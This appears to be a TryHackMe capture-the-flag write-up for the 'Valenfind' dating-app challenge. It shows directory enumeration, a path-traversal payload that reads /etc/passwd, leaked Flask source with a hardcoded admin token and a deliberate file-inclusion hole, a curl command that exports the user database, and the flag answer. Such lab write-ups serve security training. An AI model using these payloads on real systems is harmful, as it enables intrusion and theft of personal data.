- 🌐 Website: TryHackMe
- 🔥 Level: Medium
- 🖥️ OS: N/D
- 🔗 Link: Valenfind
There’s this new dating app called “Valenfind” that just popped up out of nowhere. I hear the creator only learned to code this year; surely this must be vibe-coded. Can you exploit it?
You can access it here: `http://10.112.145.170:5000`
❓Question¶
What is the flag?
📋 Walkthrough¶
To solve this challenge, we can start by exploring the web application at http://10.112.145.170:5000. While exploring the application, we run gobuster to discover any hidden directories:
root@ip-10-112-108-239:~# gobuster dir -u http://10.112.145.170:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.112.145.170:5000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 2682]
/register (Status: 200) [Size: 2694]
/logout (Status: 302) [Size: 189] [--> /]
/dashboard (Status: 302) [Size: 199] [--> /login]
/my_profile (Status: 302) [Size: 199]
This is the application's home page: 
Once registered, we can access the dashboard:

It's time to open Burp Suite and intercept the requests. With Burp I notice a very interesting API call: /api/fetch_layout?layout=theme_classic.html
This could be a LFI (Local File Inclusion). Let's try modifying the layout parameter with a different file path:
GET /api/fetch_layout?layout=admin.html
Error loading theme layout: [Errno 2] No such file or directory: '/opt/Valenfind/templates/components/admin.html'
etc/passwd: GET /api/fetch_layout?layout=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
polkitd:x:997:997:User for polkitd:/:/usr/sbin/nologin
GET /api/fetch_layout?layout=../index.html
{% extends "base.html" %}
{% block content %/}
<div class="card" style="text-align: center;">
<h1>Find Your Valentine ??</h1>
<p>Join the most exclusive offline dating community.</p>
<br>
<a href="{{ url_for('register') }}" class="btn">Start Your Journey</a>
</div>
{% endblock %}
After a few attempts I found the app.py file:
Here is the full source code of app.py:
app.py
```python import os
import sqlite3 import hashlib from flask import Flask, render_template, request, redirect, url_for, session, send_file, g, flash, jsonify from seeder import INITIAL_USERS
app = Flask(name) app.secret_key = os.urandom(24)
ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO" DATABASE = 'cupid.db'
def get_db(): db = getattr(g, '_database', None) if db is None: db = g._database = sqlite3.connect(DATABASE) db.row_factory = sqlite3.Row return db
@app.teardown_appcontext def close_connection(exception): db = getattr(g, '_database', None) if db is not None: db.close()
def init_db(): if not os.path.exists(DATABASE): with app.app_context(): db = get_db() cursor = db.cursor()
cursor.execute('''
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
real_name TEXT,
email TEXT,
phone_number TEXT,
address TEXT,
bio TEXT,
likes INTEGER DEFAULT 0,
avatar_image TEXT
)
''')
cursor.executemany('INSERT INTO users (username, password, real_name, email, phone_number, address, bio, likes, avatar_image) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)', INITIAL_USERS)
db.commit()
print("Database initialized successfully.")
@app.template_filter('avatar_color') def avatar_color(username): hash_object = hashlib.md5(username.encode()) return '#' + hash_object.hexdigest()[:6]
--- ROUTES ---¶
@app.route('/') def index(): return render_template('index.html')
@app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] db = get_db() try: cursor = db.cursor() cursor.execute('INSERT INTO users (username, password, bio, real_name, email, avatar_image) VALUES (?, ?, ?, ?, ?, ?)', (username, password, "New to ValenFind!", "", "", "default.jpg")) db.commit()
user_id = cursor.lastrowid
session['user_id'] = user_id
session['username'] = username
session['liked'] = []
flash("Account created! Please complete your profile.")
return redirect(url_for('complete_profile'))
except sqlite3.IntegrityError:
return render_template('register.html', error="Username already taken.")
return render_template('register.html')
@app.route('/complete_profile', methods=['GET', 'POST']) def complete_profile(): if 'user_id' not in session: return redirect(url_for('login'))
if request.method == 'POST':
real_name = request.form['real_name']
email = request.form['email']
phone = request.form['phone']
address = request.form['address']
bio = request.form['bio']
db = get_db()
db.execute('''
UPDATE users
SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
WHERE id = ?
''', (real_name, email, phone, address, bio, session['user_id']))
db.commit()
flash("Profile setup complete! Time to find your match.")
return redirect(url_for('dashboard'))
return render_template('complete_profile.html')
@app.route('/my_profile', methods=['GET', 'POST']) def my_profile(): if 'user_id' not in session: return redirect(url_for('login'))
db = get_db()
if request.method == 'POST':
real_name = request.form['real_name']
email = request.form['email']
phone = request.form['phone']
address = request.form['address']
bio = request.form['bio']
db.execute('''
UPDATE users
SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
WHERE id = ?
''', (real_name, email, phone, address, bio, session['user_id']))
db.commit()
flash("Profile updated successfully! ?")
return redirect(url_for('my_profile'))
user = db.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],)).fetchone()
return render_template('edit_profile.html', user=user)
@app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] db = get_db() user = db.execute('SELECT * FROM users WHERE username = ?', (username,)).fetchone()
if user and user['password'] == password:
session['user_id'] = user['id']
session['username'] = user['username']
session['liked'] = []
return redirect(url_for('dashboard'))
else:
return render_template('login.html', error="Invalid credentials.")
return render_template('login.html')
@app.route('/dashboard') def dashboard(): if 'user_id' not in session: return redirect(url_for('login'))
db = get_db()
profiles = db.execute('SELECT id, username, likes, bio, avatar_image FROM users WHERE id != ?', (session['user_id'],)).fetchall()
return render_template('dashboard.html', profiles=profiles, user=session['username'])
@app.route('/profile/
db = get_db()
profile_user = db.execute('SELECT id, username, bio, likes, avatar_image FROM users WHERE username = ?', (username,)).fetchone()
if not profile_user:
return "User not found", 404
return render_template('profile.html', profile=profile_user)
@app.route('/api/fetch_layout') def fetch_layout(): layout_file = request.args.get('layout', 'theme_classic.html')
if 'cupid.db' in layout_file or layout_file.endswith('.db'):
return "Security Alert: Database file access is strictly prohibited."
if 'seeder.py' in layout_file:
return "Security Alert: Configuration file access is strictly prohibited."
try:
base_dir = os.path.join(os.getcwd(), 'templates', 'components')
file_path = os.path.join(base_dir, layout_file)
with open(file_path, 'r') as f:
return f.read()
except Exception as e:
return f"Error loading theme layout: {str(e)}"
@app.route('/like/
if 'liked' not in session:
session['liked'] = []
if user_id in session['liked']:
flash("You already liked this person! Don't be desperate. ?")
return redirect(request.referrer)
db = get_db()
db.execute('UPDATE users SET likes = likes + 1 WHERE id = ?', (user_id,))
db.commit()
session['liked'].append(user_id)
session.modified = True
flash("You sent a like! ??")
return redirect(request.referrer)
@app.route('/logout') def logout(): session.pop('user_id', None) session.pop('liked', None) return redirect(url_for('index'))
@app.route('/api/admin/export_db') def export_db(): auth_header = request.headers.get('X-Valentine-Token')
if auth_header == ADMIN_API_KEY:
try:
return send_file(DATABASE, as_attachment=True, download_name='valenfind_leak.db')
except Exception as e:
return str(e)
else:
return jsonify({"error": "Forbidden", "message": "Missing or Invalid Admin Token"}), 403
if name == 'main': if not os.path.exists('templates/components'): os.makedirs('templates/components')
with open('templates/components/theme_classic.html', 'w') as f:
f.write('''
<div class="bio-box" style="
background: #ffffff;
border: 1px solid #e1e1e1;
padding: 20px;
border-radius: 12px;
box-shadow: 0 4px 6px rgba(0,0,0,0.05);
text-align: left;">
<h3 style="color: #2c3e50; border-bottom: 2px solid #ff4757; padding-bottom: 10px; display: inline-block;">__USERNAME__</h3>
<p style="color: #7f8c8d; font-style: italic; line-height: 1.6;">"__BIO__"</p>
</div>
''')
with open('templates/components/theme_modern.html', 'w') as f:
f.write('''
<div class="bio-box modern" style="
background: #2f3542;
color: #dfe4ea;
padding: 25px;
border-radius: 15px;
border-left: 5px solid #2ed573;
font-family: 'Courier New', monospace;">
<h3 style="color: #2ed573; text-transform: uppercase; letter-spacing: 2px; margin-top: 0;">__USERNAME__</h3>
<p style="line-height: 1.5;">> __BIO__<span style="animation: blink 1s infinite;">_</span></p>
<style>@keyframes blink { 50% { opacity: 0; } }</style>
</div>
''')
with open('templates/components/theme_romance.html', 'w') as f:
f.write('''
<div class="bio-box romance" style="
background: linear-gradient(135deg, #ff9a9e 0%, #fecfef 99%, #fecfef 100%);
color: #c0392b;
padding: 30px;
border-radius: 50px 0 50px 0;
border: 2px dashed #ff6b81;
text-align: center;">
<div style="font-size: 2rem; margin-bottom: 10px;">? ? ?</div>
<h3 style="font-family: 'Brush Script MT', cursive; font-size: 2.5rem; margin: 10px 0;">__USERNAME__</h3>
<p style="font-weight: bold; font-size: 1.1rem;">? __BIO__ ?</p>
<div style="font-size: 1.5rem; margin-top: 15px;">?</div>
</div>
''')
init_db()
app.run(debug=False, host='0.0.0.0', port=5000)
```
We notice there is a /api/admin/export_db route that appears to be protected by an X-Valentine-Token header with value CUPID_MASTER_KEY_2024_XOXO. Let's try accessing this route with curl:
curl -H "X-Valentine-Token: CUPID_MASTER_KEY_2024_XOXO" http://10.112.145.170:5000/api/admin/export_db -o valenfind_leak.db
Once the database is downloaded, we can open it and find a user called cupid with the flag in the address field:
Answer
THM{v1be_c0ding_1s_n0t_my_cup_0f_t3a}